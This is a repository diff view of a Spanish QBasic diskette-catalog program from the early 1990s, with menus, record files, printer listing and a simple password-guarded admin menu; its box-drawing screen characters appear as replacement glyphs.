PRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٱ";
PRINT " <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
RETURN
menu2:
LOCATE 11, 1
PRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ";
PRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> N<> de Ficha: <20><>";
PRINT "<22> <20><>"
PRINT "<22> Nombre: Apellidos: <20><>"
PRINT "<22> <20><>"
PRINT "<22> Calle: N<>: Piso: Letra: <20><>"
PRINT "<22> <20><>"
PRINT "<22> Localidad: Provincia: C.P: <20><>"
PRINT "<22> <20><>"
PRINT "<22> Tel<65>fono: <20><>"
PRINT "<22> <20><>"
PRINT "<22> Ordenador, CPU: RAM: TG: HD: <20><>"
PRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ٱ";
PRINT " <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>";
RETURN
cargachar:
lec$(1) = "<22> INTRODUCIR "
lec$(2) = "<22> EDITAR / MODIFICAR "
lec$(3) = "<22> BUSCAR "
lec$(4) = "<22> ELIMINAR "
lec$(5) = "<22> - CREDITOS - "
lot$(1) = " Introducir "
lot$(2) = " Editar / Modificar "
lot$(3) = " Buscar "
lot$(4) = " Eliminar "
lot$(5) = " - Creditos - "
RETURN
END
limlin:
'(LIM)ite -de- (LIN)ea
'Lon=longitud lin=linea col=columna tipo$=" ..z"
LOCATE lin, col: PRINT origen$
LOCATE lin, col: PRINT "<22>"
FOR a = 1 TO lon
x:
a$ = INKEY$: IF a$ = "" THEN GOTO x
IF a$ = CHR$(13) THEN GOTO finsec
IF a$ = CHR$(27) THEN GOTO principiodelprincipio
IF a$ = CHR$(8) THEN GOTO borra ELSE GOTO ponchar
borra:
a = a - 1: IF a < 1 THEN a = 1
LOCATE lin, col + a - 1: PRINT " ": LOCATE lin, col + a - 1: PRINT "<22> ": GOTO x
ponchar:
IF a$ < LEFT$(tipo$, 1) OR a$ > RIGHT$(tipo$, 1) THEN GOTO x
IF a = 1 THEN origen$ = STRING$(lon, " "): LOCATE lin, col: PRINT origen$
LOCATE lin, col + a - 1: PRINT a$; : IF a <> lon THEN PRINT "<22>" ELSE GOTO x
NEXT a
finsec:
IF a = 1 THEN LOCATE lin, col: PRINT origen$
texto$ = ""
FOR i = 1 TO lon
IF LEN(origen$) <> lon THEN digi$ = " " ELSE digi$ = MID$(origen$, i, 1)
IF CHR$(SCREEN(lin, col + i - 1)) = "<22>" THEN texto$ = texto$ + digi$ ELSE texto$ = texto$ + CHR$(SCREEN(lin, col + i - 1))
NEXT
LOCATE lin, col: COLOR 1, 7: PRINT texto$: COLOR 7, 1, 1
PLAY "b64": RETURN
corrector:
IF ERR = 52 OR ERR = 53 THEN fallo = 1: GOTO contrif
IF ERR = 27 THEN GOTO nohaypapel
GOTO fallonoloc
contrif:
RESUME NEXT
END
nohaypapel:
COLOR 14, 1, 1
BEEP
LOCATE 13, 34: PRINT "No hay papel."
LOCATE 13, 34: PRINT " "
GOTO impr
fallonoloc:
COLOR 15, 1, 1
LOCATE 13, 33: PRINT "Fallo:", ERR; "RESET PROGRAM"
LOCATE 14, 33: PRINT "PULSE UNA TECLA: ..(JD).."
rti:
IF INKEY$ = "" THEN GOTO rti
RUN
help:
COLOR 7, 1, 1
LOCATE 14, 34: PRINT "Ayuda basica, JD."
LOCATE 16, 34: PRINT "Use los cursores, para acceder a"
LOCATE 17, 34: PRINT "los men<65>s."
LOCATE 18, 34: PRINT "Presione intro para 'entrar'."
LOCATE 19, 34: PRINT "Pulse ESC para retroceder en un Menu."
LOCATE 21, 34: PRINT " Pulse una tecla"
retorico:
IF INKEY$ = "" THEN GOTO retorico
COLOR 7, 1, 1: FOR wq = 13 TO 21: LOCATE wq, 34: PRINT STRING$(37, " "): NEXT
RETURN
END
finp:
COLOR 7, 0, 0
CLS
PRINT " JD, Base de DATOS v<>1.0 "
PRINT : PRINT "Gracias por utilizar este sofware."
END

2809
BAS/CAT3.BAS Normal file

File diff suppressed because it is too large Load Diff

912
BAS/CATALOG2.BAS Normal file
View File

@ -0,0 +1,912 @@
principiodelprincipio:
REM Versi<73>n 3.0 en Qbasic de Catalogo (c)
KEY OFF
pp:
CLEAR
ON ERROR GOTO corrector
DIM lec$(12), lot$(12), T$(50), fet$(50), A$(50), tele$(50)
KEY(1) ON
KEY(2) ON
ON KEY(1) GOSUB help
ON KEY(2) GOSUB finp
CLS
GOSUB menu1
GOSUB cargachar
COLOR 1, 7
l = 1
GOSUB secuencia
espera:
KEY(11) ON
KEY(14) ON
ON KEY(11) GOSUB sube
ON KEY(14) GOSUB baja
espera3:
I$ = INKEY$
IF I$ = "" THEN GOTO espera3
IF I$ = CHR$(13) THEN GOTO ejecuta
IF I$ = CHR$(27) THEN GOSUB help
GOTO espera3
sube:
ant = l
IF l = 1 THEN l = 11 ELSE l = l - 1
GOSUB secuencia
RETURN
baja:
ant = l
IF l = 12 THEN l = 1 ELSE l = l + 1
GOSUB secuencia
RETURN
secuencia:
IF l = -1 THEN l = 11
IF l = 12 THEN l = 1
IF ant = 0 THEN ant = 1
COLOR 7, 1, 1
LOCATE 2 * ant, 2: PRINT lot$(ant)
COLOR 1, 7
LOCATE 2 * l, 2: PRINT lec$(l): RETURN
END
ejecuta:
KEY(11) OFF
KEY(14) OFF
COLOR 7, 1, 1
IF l < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat"
IF l = 1 THEN arc$ = "copy-3.dat"
ON l GOTO lp, lp, lp, lp, lp, lp, lp, lp, lp, lp, mm
END
lp:
f = l
IF f = 10 THEN f = 0
GOSUB tipodeficha
REM LISTA DE PROGRAMAS
IF Tf$ = "0" THEN arc$ = "copy-1.dat"
OPEN "R", #1, arc$, 14
contador = 13: COLUMNA = 34
FOR A = 1 TO LOF(1) / 14 + 1
FIELD #1, 1 AS fichero$, 10 AS T$, 3 AS DISK$
GET #1, A
IF fichero$ = Tf$ THEN GOTO imprime ELSE GOTO continua
imprime:
COLOR 12, 1, 1
LOCATE contador, COLUMNA: IF T$ = " " THEN GOTO continua ELSE PRINT T$
contador = contador + 1
IF COLUMNA = 60 AND contador = 22 THEN GOSUB contimpre
IF contador = 22 THEN contador = 13: COLUMNA = COLUMNA + 13
continua:
NEXT A
CLOSE #1
COLOR 14, 1, 1
LOCATE 4, 60: PRINT "PULSE UNA TECLA"
COLOR 15, 1, 1
LOCATE 5, 60: PRINT "Para ir al MEN<45> "
p:
IF INKEY$ = "" THEN GOTO p
COLOR 7, 1, 1
FOR brr = 13 TO 22: LOCATE brr, 34: PRINT STRING$(37, " "): NEXT brr
LOCATE 4, 60: PRINT " F1 HELP "
LOCATE 5, 60: PRINT " F2 Exit to DOS"
GOTO espera
contimpre:
COLOR 14, 1, 1
LOCATE 4, 60: PRINT "Pulse una tecla"
LOCATE 5, 60: PRINT "para continuar."
COLOR 7, 1, 1
p2:
IF INKEY$ = "" THEN GOTO p2
LOCATE 4, 60: PRINT " "
LOCATE 5, 60: PRINT " "
contador = 13: COLUMNA = 34
FOR ba = 13 TO 22: LOCATE ba, 34: PRINT STRING$(37, " "): NEXT ba
RETURN
END
mm:
GOSUB menu2
l2 = 1
GOSUB secuencia2
espera2:
KEY(11) ON
KEY(14) ON
ON KEY(11) GOSUB sube2
ON KEY(14) GOSUB baja2
espera4:
I$ = INKEY$
IF I$ = "" THEN GOTO espera4
IF I$ = CHR$(13) THEN GOTO ejecuta2
IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB menu1: GOSUB secuencia: COLOR 1, 7: GOTO espera
GOTO espera4
sube2:
ant2 = l2
IF l2 = 1 THEN l2 = 4 ELSE l2 = l2 - 1
IF ant2 = 0 THEN ant2 = 1
GOSUB secuencia2
RETURN
baja2:
ant2 = l2
IF l2 = 4 THEN l2 = 1 ELSE l2 = l2 + 1
GOSUB secuencia2
RETURN
secuencia2:
IF l2 = -1 THEN l2 = 4
IF l2 = 5 THEN l2 = 1
COLOR 7, 1, 1
IF ant2 = 1 THEN LOCATE 5, 39: PRINT lot2$(ant2)
IF ant2 = 2 THEN LOCATE 6, 39: PRINT lot2$(ant2)
IF ant2 = 3 THEN LOCATE 8, 39: PRINT lot2$(ant2)
IF ant2 = 4 THEN LOCATE 10, 39: COLOR 9, 1, 1: PRINT lot2$(ant2): COLOR 7, 1, 1
COLOR 1, 7
IF l2 = 1 THEN LOCATE 5, 39: PRINT lec2$(l2): RETURN
IF l2 = 2 THEN LOCATE 6, 39: PRINT lec2$(l2): RETURN
IF l2 = 3 THEN LOCATE 8, 39: PRINT lec2$(l2): RETURN
IF l2 = 4 THEN LOCATE 10, 39: COLOR 7, 0: PRINT lec2$(l2): COLOR 1, 7: RETURN
END
ejecuta2:
KEY(11) OFF
KEY(14) OFF
ON l2 GOTO il, gp, C, md
GOTO espera2
END
il:
ON ERROR GOTO corrector
REM FICHERO PARA IMPRIMIR
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "Esta usd. en la secci<63>n de impresion."
LOCATE 15, 34: PRINT "Cerciorese de que la impresora este"
LOCATE 16, 34: PRINT "encendida y de que tenga papel."
LOCATE 18, 34: PRINT " Pulse una tecla..."
N:
Q$ = INKEY$: IF Q$ = "" THEN GOTO N
IF Q$ = CHR$(27) THEN FOR A = 14 TO 18: LOCATE A, 34: PRINT STRING$(38, " "): NEXT: GOTO subbrutinas
FOR A = 14 TO 18: LOCATE A, 34: PRINT STRING$(38, " "): NEXT
pagina = 1
CLOSE #3: OPEN "lpt1:" FOR OUTPUT AS #3: PRINT #3, CHR$(27); "!"; CHR$(20)
LPRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
LPRINT "<22><> <20> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>"
LPRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><> <20><><EFBFBD>"
LPRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20>"
LPRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>"
LPRINT "<22><> <20><><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>"
LPRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
LPRINT "<22>J.D Guill<6C>n s.u '92<39>"
LPRINT "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"
LPRINT "El n<>mero que sigue al nombre del programa, indica"
LPRINT "la cantidad de diskettes que est<73> ocupa. Diskett de 3 <20>"
LPRINT "Disponible el 75% de los programas en diskettes de 5 <20>"
contador = 12
f = 1
nf:
' EMPIEZA LA ETAPA f=A
IF contador > 50 THEN GOSUB finlista
CLOSE #1: OPEN "LPT1:" FOR OUTPUT AS #1: PRINT #1, CHR$(27); "!"; CHR$(97)
IF f = 1 THEN LPRINT "JUEGOS"
IF f = 2 THEN LPRINT "MUSICA"
IF f = 3 THEN LPRINT "PROCESADORES DE TEXTO"
IF f = 4 THEN LPRINT "PROGRAMAS DE CONTABILIDAD"
IF f = 5 THEN LPRINT "PROGRAMAS DE ELECTRONICA"
IF f = 6 THEN LPRINT "GRAFICOS"
IF f = 7 THEN LPRINT "UTILIDADES"
IF f = 8 THEN LPRINT "COPIONES"
IF f = 9 THEN LPRINT "LENGUAJES"
IF f = 10 THEN f = 0: LPRINT "ANTIVIRUS"
contador = contador + 2
CLOSE #1: CLOSE #2: OPEN "LPT1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(1)
IF f < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat"
IF f = 1 THEN arc$ = "copy-3.dat"
IF f = 0 THEN arc$ = "copy-1.dat"
OPEN "R", #1, arc$, 14
GOSUB tipodeficha
FOR A = 1 TO LOF(1) / 14
FIELD #1, 1 AS fichero$, 10 AS T$, 3 AS DISK$
GET #1
IF fichero$ <> Tf$ THEN GOTO sinsuerte
IF T$ <> " " THEN GOSUB guarda
IF G = 0 THEN PRINT #2, CHR$(27): contador = contador + 1
IF contador > 55 THEN GOSUB finlista
sinsuerte:
NEXT A
CLOSE #1
IF EF$ <> "" THEN LPRINT EF$; TAB(13); EFD$; TAB(20); EL$; TAB(33); ELD$; TAB(40); EO$; TAB(53); EOD$; TAB(60); EO4$; TAB(73); EOD4$
EF$ = "": EL$ = "": EO$ = "": EO4$ = ""
EFD$ = "": ELD$ = "": EOD$ = "": EOD4$ = "": G = 0
IF contador > 50 THEN GOSUB finlista
IF f <> 0 THEN f = f + 1: GOTO nf
CLOSE #2: OPEN "lpt1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(33)
OPEN "r", #1, "MENSAJES", 30
FOR A = 1 TO 5
FIELD #1, 30 AS MENSAJE$
GET #1
LPRINT TAB(5); MENSAJE$
NEXT A
CLOSE #1
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "Lista terminada..."
LOCATE 15, 34: PRINT "PULSE UNA TECLA PARA VOLVER AL MENU"
d:
IF INKEY$ = "" THEN GOTO d
COLOR 7, 1, 1
LOCATE 14, 34: PRINT " "
LOCATE 15, 34: PRINT " "
GOTO subbrutinas
finlista:
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "Cuando deje de imprimir ponga papel"
LOCATE 15, 34: PRINT " Pulse entonces una tecla para "
LOCATE 16, 34: PRINT " continuar listando."
COLOR 7, 1, 1
m:
IF INKEY$ = "" THEN GOTO m
LOCATE 14, 34: PRINT " "
LOCATE 15, 34: PRINT " "
LOCATE 16, 34: PRINT " "
CLOSE #2: OPEN "LPT1:" FOR OUTPUT AS #2: PRINT #2, CHR$(27); "!"; CHR$(1)
contador = 0: RETURN
guarda:
G = G + 1
IF G = 1 THEN EF$ = T$: EFD$ = DISK$
IF G = 2 THEN EL$ = T$: ELD$ = DISK$
IF G = 3 THEN EO$ = T$: EOD$ = DISK$
IF G = 4 THEN EO4$ = T$: EOD4$ = DISK$: GOTO imprimelinea
RETURN
END
imprimelinea:
LPRINT EF$; TAB(13); EFD$; TAB(20); EL$; TAB(33); ELD$; TAB(40); EO$; TAB(53); EOD$; TAB(60); EO4$; TAB(73); EOD4$;
EF$ = "": EL$ = "": EO$ = "": EO4$ = ""
EFD$ = "": ELD$ = "": EOD$ = "": EOD4$ = "": G = 0
RETURN
gp:
' GRABAR DATOS DE PEDIDOS
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "SIGUA LAS INDICACIONES PERTINENTES"
p4:
I$ = INKEY$
IF I$ = "" THEN GOTO p4
IF I$ = CHR$(27) THEN LOCATE 14, 34: PRINT STRING$(37, " "): GOTO subbrutinas
LOCATE 14, 34: PRINT "Nombre del programa/s... "
COLOR 12, 1, 1
PL = 15: TCOL = 34
FOR zA = 1 TO 21
PL = PL + 1
COLOR 12, 1, 1
lin = PL: col = TCOL: lon = 10: tipo$ = " ..z": GOSUB limlin: A$(zA) = texto$
IF PL = 22 THEN PL = 15: TCOL = TCOL + 13
CREO = CREO + 1: IF A$(zA) = " " THEN GOTO cont
NEXT zA
cont:
COLOR 14, 1, 1
LOCATE 13, 34: PRINT "INTRODUCE TU NOMBRE: "
LOCATE 14, 34: PRINT " "
COLOR 15, 1, 1
lin = 15: col = 34: lon = 8: tipo$ = "0..Z": GOSUB limlin: nombre$ = texto$
fil$ = nombre$ + ".JD"
CLOSE #1: CLOSE #2
OPEN "R", #2, "commun_d.jd", 8
FIELD #2, 8 AS nom$
LSET nom$ = nombre$
PUT #2, LOF(2) / 8 + 1
CLOSE #2
OPEN "R", #1, fil$, 10
FOR b = 1 TO CREO + 1
FIELD #1, 10 AS tele$
LSET tele$ = A$(b)
PUT #1, LOF(1) / 10 + 1
NEXT b
CLOSE #1
FOR e = 13 TO 22: LOCATE e, 33: PRINT STRING$(38, " "): NEXT
GOTO subbrutinas
END
C:
COLOR 7, 1, 1
LOCATE 3, 49: PRINT "Creditos "
LOCATE 14, 33: PRINT " (c) C A T A L O G O v3.0 "
LOCATE 16, 33: PRINT " Pantallas y programa ... "
COLOR 12
LOCATE 18, 33: PRINT " Jos<6F> David Guill<6C>n "
LOCATE 19, 33: PRINT " Tlf. 561-XX-XX "
COLOR 7, 1, 1
LOCATE 21, 33: PRINT " 1993, 1<>BTI "
pause:
IF INKEY$ = "" THEN GOTO pause
FOR Q = 14 TO 22: LOCATE Q, 33: PRINT SPC(37); : NEXT Q
GOTO subbrutinas
subbrutinas:
GOSUB secuencia
GOSUB menu2
GOSUB secuencia2
GOTO espera2
END
md:
LOCATE 15, 35: PRINT "INTRODUCE CLAVE:": lon = 4: lin = 15: col = 53: tipo$ = " ..z": GOSUB limlin
clave$ = texto$
IF clave$ <> "JD " THEN LOCATE 15, 35: PRINT STRING$(35, " "): GOTO subbrutinas
LOCATE 15, 35: PRINT " "
GOSUB menu3
l3 = 1
GOSUB secuencia3
espera5:
KEY(11) ON
KEY(14) ON
ON KEY(11) GOSUB sube3
ON KEY(14) GOSUB baja3
espera6:
I$ = INKEY$
IF I$ = "" THEN GOTO espera6
IF I$ = CHR$(13) THEN GOTO ejecuta3
IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB menu2: GOSUB secuencia2: COLOR 1, 7: GOTO espera2
GOTO espera6
sube3:
ant3 = l3
IF l3 = 1 THEN l3 = 4 ELSE l3 = l3 - 1
IF ant3 = 0 THEN ant3 = 1
GOSUB secuencia3
RETURN
baja3:
ant3 = l3
IF l3 = 4 THEN l3 = 1 ELSE l3 = l3 + 1
GOSUB secuencia3
RETURN
secuencia3:
IF l3 = -1 THEN l3 = 4
IF l3 = 5 THEN l3 = 1
COLOR 7, 1, 1
IF ant3 = 1 THEN LOCATE 5, 39: PRINT lot3$(ant3)
IF ant3 = 2 THEN LOCATE 6, 39: PRINT lot3$(ant3)
IF ant3 = 3 THEN LOCATE 8, 39: PRINT lot3$(ant3)
IF ant3 = 4 THEN LOCATE 10, 39: PRINT lot3$(ant3)
COLOR 1, 7
IF l3 = 1 THEN LOCATE 5, 39: PRINT lec3$(l3): RETURN
IF l3 = 2 THEN LOCATE 6, 39: PRINT lec3$(l3): RETURN
IF l3 = 3 THEN LOCATE 8, 39: PRINT lec3$(l3): RETURN
IF l3 = 4 THEN LOCATE 10, 39: PRINT lec3$(l3): RETURN
END
ejecuta3:
KEY(11) OFF
KEY(14) OFF
ON l3 GOTO ip, bp, im, vbp
GOTO espera5
END
ip:
' Introducir Programas
selpro:
COLOR 14, 1, 1
LOCATE 14, 34: PRINT " Seleccione SECCI<43>N"
COLOR 1, 7
GOSUB secuencia
KEY(11) ON
KEY(14) ON
ON KEY(11) GOSUB sube
ON KEY(14) GOSUB baja
espera7:
I$ = INKEY$
IF I$ = "" THEN GOTO espera7
IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB secuencia: GOSUB secuencia3: COLOR 7, 1, 1: LOCATE 14, 34: PRINT " ": GOTO espera5
IF I$ = CHR$(13) THEN GOTO elrea
GOTO espera7
LOCATE 14, 34: PRINT " "
elrea:
IF l = 11 THEN BEEP: GOTO espera7
ft = 15
qm = 34
lin = 0
col = 0
CONTAR = 0
COLOR 7, 1, 1
LOCATE 14, 34: PRINT "Nombre N<>D Nombre N<>D "
FOR G = 1 TO 14
COLOR 7, 1, 1
ft = ft + 1
IF lin = 22 THEN ft = 16: qm = qm + 18
lin = ft
col = qm
lon = 10: tipo$ = " ..z": GOSUB limlin: A$(G) = texto$
IF A$(G) = " " THEN GOTO Grapro
lon = 3: lin = ft: col = qm + 12: tipo$ = "0..9": GOSUB limlin: T$(G) = texto$
CONTAR = CONTAR + 1
NEXT G
Grapro:
qm = 0: ft = 0
f = l: IF f = 10 THEN f = 0
IF f < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat"
IF l = 1 THEN arc$ = "copy-3.dat"
GOSUB tipodeficha
OPEN "R", #1, arc$, 14
FOR b = 1 TO CONTAR
FIELD #1, 1 AS fichero$, 10 AS tele$, 3 AS DISK$
LSET fichero$ = Tf$
LSET tele$ = A$(b)
LSET DISK$ = T$(b)
PUT #1, LOF(1) / 14 + 1
NEXT b
CLOSE #1
FOR Q = 14 TO 22: LOCATE Q, 33: PRINT SPC(37); : NEXT Q
GOTO selpro
END
END
bp:
' Borrar Programas
COLOR 7, 1, 1
LOCATE 20, 34: PRINT " "
selpro2:
COLOR 14, 1, 1
LOCATE 14, 34: PRINT STRING$(37, " ")
LOCATE 14, 34: PRINT " Seleccione SECCI<43>N "
COLOR 1, 7
GOSUB secuencia
KEY(11) ON
KEY(14) ON
ON KEY(11) GOSUB sube
ON KEY(14) GOSUB baja
espera72:
I$ = INKEY$
IF I$ = "" THEN GOTO espera72
IF I$ = CHR$(27) THEN KEY(11) OFF: KEY(14) OFF: GOSUB secuencia: GOSUB secuencia3: COLOR 7, 1, 1: LOCATE 14, 34: PRINT " ": GOTO espera5
IF I$ = CHR$(13) THEN GOTO elrea2
GOTO espera72
LOCATE 14, 34: PRINT " "
elrea2:
CONTAR = 0
' PROCESO DE BUSQUEDA
COLOR 14, 1, 1
LOCATE 14, 34: PRINT "Nombre a eliminar: "
COLOR 7, 1, 1
lin = 14: col = 53: lon = 10: tipo$ = " ..z": GOSUB limlin: busqueda$ = texto$
X$ = busqueda$ + " "
fin$ = LEFT$(X$, 10)
f = l: IF f = 10 THEN f = 0
IF f < 6 THEN arc$ = "copy-1.dat" ELSE arc$ = "copy-2.dat"
IF l = 1 THEN arc$ = "copy-3.dat"
OPEN "R", #1, arc$, 14
contador = 1
FOR A = 1 TO LOF(1) / 14
FIELD #1, 1 AS fichero$, 10 AS T$, 3 AS DISK$
GET #1: PI$ = T$
IF VAL(fichero$) <> f THEN GOTO sigue
IF PI$ = fin$ THEN GOTO borrar
sigue:
contador = contador + 1
NEXT A
CLOSE #1
IF busqueda$ = " " THEN GOTO bp
LOCATE 16, 34: PRINT "*** No encuentro a"
COLOR 12, 1, 1: LOCATE 16, 51: PRINT busqueda$: COLOR 7, 1, 1: LOCATE 17, 34: PRINT "*** Puede deberse a error tipografico."
frt:
IF INKEY$ = "" THEN GOTO frt
FOR T = 14 TO 22: LOCATE T, 34: PRINT STRING$(37, " "); : NEXT T
GOTO elrea2
END
borrar:
' ELIMINANDO DATOS
CLOSE #1
COLOR 14, 2, 2
LOCATE 20, 34: PRINT "<22> Seguro, desea eliminarlo (S/N) ?"
rte:
IF INKEY$ = "" THEN GOTO rte ELSE IF INKEY$ = "n" OR INKEY$ = "N" THEN GOTO bp
A$ = " ": d$ = " "
GOSUB tipodeficha
OPEN "R", #1, arc$, 14
FOR b = 1 TO 2
FIELD #1, 1 AS fichero$, 10 AS tele$, 3 AS DISK$
LSET fichero$ = Tf$: LSET tele$ = A$: LSET DISK$ = d$
PUT #1, contador
NEXT b
CLOSE #1
GOTO bp
END
im:
' Introducir mensaje
COLOR 14, 1, 1
PAL$ = "EL ANTIGUO COMENTARIO ERA:"
FOR s = 1 TO 31: TOL$ = MID$(PAL$, s, 1): LOCATE 14, 36 + s: PRINT TOL$: PLAY "A20": NEXT
COLOR 12, 1, 1
OPEN "R", #1, "MENSAJES", 30
FOR A = 1 TO LOF(1) / 30
FIELD #1, 30 AS MENSAJE$
GET #1
RE$ = MENSAJE$
LOCATE 16 + A, 38: PRINT RE$
NEXT A
CLOSE #1
COLOR 14, 1, 1
